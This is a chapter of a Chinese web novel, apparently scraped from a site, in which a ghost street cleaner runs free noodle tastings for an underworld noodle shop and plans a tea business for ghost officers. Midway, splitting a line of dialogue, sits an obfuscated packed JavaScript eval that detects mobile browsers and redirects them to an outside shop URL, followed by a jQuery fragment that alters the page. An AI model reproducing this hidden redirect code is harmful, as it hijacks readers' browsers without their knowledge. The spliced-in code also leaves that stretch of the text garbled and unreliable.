晚上工作的时候，陈卷碰到在街边打盹的牛三。


    “牛大人，晚上好啊。”


    牛三掀开眼皮：“嗯，地扫干净点，别偷懒。”


    “您放心吧。”陈卷凑近两步，压低声音问到：“牛大人，跟您打听个事儿。咱们这儿的食材啊、原料啊，都从哪来？比如面粉、糖、油这些。”


    牛三打了个哈欠：“后勤司配送。店铺备案的时候需要提交所需的原料表，他们根据库存酌情删减，每月初送到各家店里。


    觉得不够或者想要再添点什么的，就得自己去阴市买了。”


    “阴市？”


    “就是个批发市场。位置嘛，离这儿有点儿距离，在酆都城西头。怎么，你真想折腾啊？”牛三斜眼看着陈卷。


    “要是能弄点儿新鲜材料，做点儿好吃的，孝敬孝敬您也好啊。”陈卷笑眯眯地说，“上头发的那些，想必您肯定吃腻了。”


    牛三不屑：“阴市的东西，可不是你想买就能买的，得用功德分换，或者有门路用冥币跟摊主换。你这点儿工资...够买把葱就不错了。”


    功德分？！陈卷心一凉。冥币可能还有办法，功能分现在是她最缺的。地府创业，也逃不过启动资金难题。


    看来想直接做是不行了。那...从形式入手呢？正好，陈卷有一个疑惑，也需要实验去确认。


    接下来的几天，陈卷一边认真完成保洁工作，一边更加细致的观察。


    她发现，新鬼到了美食街，20%的会直接去喝孟婆汤走上奈何桥，剩下的80%，会先挑个看起来最“正常”的店面进去，通常都是胡记面馆和黄泉包子铺。


    “缺乏引导，缺乏体验，缺乏记忆点...”陈卷躺在硬板床上，喃喃自语，“也许，可以先从‘服务’和‘信息’做起？这些，自己可太在行了。”


    一个想法逐渐在陈卷脑中清晰起来。


    几天后的中午，陈卷扫完地，径直走向“胡记面馆”。现在店里一个客人都没有，老板胡一刀正抱着胳膊靠在柜台后，望着门口发呆。


    “老板。”陈卷敲了敲柜台。


    胡一刀瞥了她一眼：“垃圾刚才不是已经收走了吗？”


    “不是这个。”陈卷苦笑一声，然后开门见山的说，“我观察好几天了，您的手艺是这条街最好的。”


    胡一刀哼了一声，不置可否。


    “但是，生意好像可以更好一点。”陈卷继续说，“您想不想，让更多鬼知道您家的面好吃？让新来的鬼，第一顿都来您这儿？”


    胡一刀这才正眼看向她：“你有办法？”


    “办法当然有。”陈卷拿出生前谈合作的专业态度，“很简单，您每天给我做三碗面，每种面各一碗，每碗都用小碗分成多份。”


    “你要干什么？”胡一刀皱眉。


    “端到外面，请新来的鬼免费尝尝。”陈卷说，“让他们知道，咱们美食街也有好吃的东西。尝过觉得好的，自然会记住您这家店，下次饿了，说不定就来了。就算不来，口碑传开了，对您也是好事。”


    “你图什么？”


    “我图个热闹。”陈卷笑了笑，“街上的店生意好了，我也好有理由跟上头说多招个保洁过来不是。再说了，我看好多新鬼懵懵懂懂，花钱净买些难吃的东西，也挺可怜的。”


    这个理由半真半假，陈卷早就编好了。


    “不要钱？”胡一刀问。


    “今天不要，您先看看效果。如果愿意继续合作，我拉来的客人，利润分我两成就行。”


    胡一刀思索。


    陈卷看对方没有直接拒绝，觉得有戏，进一步说道：“胡老板，三碗面成本也不高，何不试一试呢？万一我真给你拉来客人呢？”


    “行。”胡一刀最终点了头，“但只有中午这一次，碗筷你自己端走，自己送回来。”


    “成交！”陈卷心里乐开了花。第一步，搞定！


    第二天中午，陈卷打扫完就去胡记面馆等着，把胡一刀做好的三碗面和一大摞碗筷放进提前准备好的箱子里，搬到了“安置司”棚屋旁边。


    “新来的朋友们！看这边！”陈卷努力提高音量，吸引那些眼神茫然、东张西望的鬼的注意。


    几个鬼魂停下脚步，疑惑地看着她。


    “初来乍到，饿了吧？想知道这条街上哪家东西好吃不坑鬼吗？免费品尝！免费品尝！胡记面馆招牌面品，整个地府仅此一家！”


    陈卷自信，“免费”这个词在哪儿都有吸引力，她自己也是被免费忽悠着吃了过期的云片糕。


    很快，三四个鬼围了过来，陈卷拿出早就准备好的碗筷：


    “这是清汤阳春面，汤头鲜美，面条筋道，吃了不忘前尘。


    这是爽口酸汤面，酸辣过瘾，灵魂通透，吃了感觉自己还活着。


    这是招牌肉臊面，臊子香浓，风味独特，吃了想不起自己怎么死的。”


    陈卷一边介绍，一遍麻利地分面。


    一个穿着毛绒睡衣的年轻女鬼怯生生尝了阳春面的一口汤，眼睛微微睁大：“咦？蛮好吃的哎。”


    旁边一个古代农夫大半的老鬼，砸砸嘴：“是粮食的味儿。”


    虽然只是简单的肯定，但对陈卷已经是极大的正反馈了。


    “觉得好吃的话，美食街靠近街头的‘胡记面馆’欢迎大家的到来！明码标价，童叟无欺！”陈卷适时地指路。


    尝过的鬼里，有三个竟然真的朝着陈卷指的方向走去了，陈卷大喜。


    更多的鬼，继续他们的游荡。


    陈卷一边重复吆喝着“免费品尝”的吆喝，一边仔细观察着这些鬼的反应。


    年轻些的新鬼更容易被“免费”吸引，但口味更挑剔。年长的，则更看重食物的实在和熟悉感。


    不过，陈卷相信，如果他们尝了其他店的东西，会觉得这些面的味道惊为天人。现在，只要让他们记住“胡记面馆”这个名字就好。


    很快，三碗面就发完了，大概有二十几个鬼尝过，进了胡记面馆的有8个，已经是胡一刀半天的客流量了。


    晚上清扫时，陈卷经过胡记面馆，胡一刀正在给客人上面，看到陈卷的时候，微微点了下头。


    陈卷走进店里：“怎么样胡老板？要不要继续合作？”


    胡一刀点点头：“可以。和今天一样，中午，面我出，你负


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990716|193691||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    责拉客，凡是进店报你名字的，利润的两成给你。”


    “成交！”副业启动。


    晚上，陈卷躺在床上，听着旁边的鬼妹妹照常的抠墙皮声，脑子里规划着一个更远的计划。


    今天这个小小的实验，不仅给胡记带来了客流，更重要的是证明了一件事：鬼魂的消费需求可以被引导和激发，他们对“更好体验”是有感知的。


    “108年！等着吧，我陈卷就算做滞留鬼，也要做滞留鬼里最快投胎的！”


    --------------------


    接下来的几天，陈卷每天都在安置司捣鼓她的“免费品尝”摊子。


    胡一刀翻出来几张破凳子放在这儿，让吃面的鬼可以坐下。陈卷又死皮赖脸地从烧烤店老板那儿磨来了几小块炭火，用来给面保温。


    胡记面馆的生意肉眼可见地好了起来，中午的时候三张桌子几乎每天都坐满，甚至有了排队等位的鬼魂。


    但这离陈卷做大做强的目标还差着十万八千里！


    单靠给店铺引流，她的功德分没法涨。


    突破口在一个寻常的上午，陈卷打扫到彼岸茶馆，听见里面两个鬼差在抱怨。


    “这差事真不是鬼干的，天天巡逻，腿都快走断了。好不容易歇会儿，看见这清汤寡水的茶，更没劲。”


    “知足吧，好歹有口能喝的。哎，听说上上个月那个新来的，昨天偷偷去忘川酒肆，结果被那劣质酒烧的灵魂不稳，休养了大半个月。”另一个鬼差压低了声音，“要说好喝，还得是孟婆那儿...咳，算了。”


    陈卷竖起了耳朵。


    对面的鬼差果然追问：“孟婆那儿？孟婆汤？我们不能喝吧。”


    “不是汤，我跟你说了你别往外传。


    我听说，孟婆有个茶炉，熬的是醒魂茶，用的可是顶好的茶叶。据说不止好喝，还能提神醒脑，对稳固灵魂也有好处。


    不过那是专供上头的，咱们可没这口福，别想了别想了。”


    说者无心，听者有意。陈卷觉得自己无意中偷听到了一个大商机！


    鬼差，一直是地府里最稳定的职业，固定收入，数量只会逐年递增不会减少。


    现在他们对彼岸茶馆的茶水不满，甚至知道存在一种“好东西”，想要，却无法得到！


    如果自己能在彼岸茶馆茶水的基础上，改良出一种功效和醒魂茶差不多的茶，差些也没关系，目标客户就是这些普通鬼差。


    既能挣钱，又能和这些鬼差搭上关系，也算一只脚踏入了政府部门，以后自己开店办手续囤食材什么的也容易些。


    这个想法让陈卷激动地扫帚都快拿不稳了。


    但难点也显而易见，她什么都没有，她只略懂些茶艺，不会制茶，也不懂什么对灵魂有益。


    “得找鬼合作。”陈卷细细盘算，“忘川酒肆那个红鼻子老鬼懂酿造，虽然是劣酒。烧烤的壮汉用的调料，得问问他里面的香料是怎么搞的。”


    陈卷突然想起了糕点铺里那个卖过期糕点的女鬼，听牛三说，除了孟婆，她是这条街上来的最早的。死了这么久，灵魂的事情，她会不会知道点什么？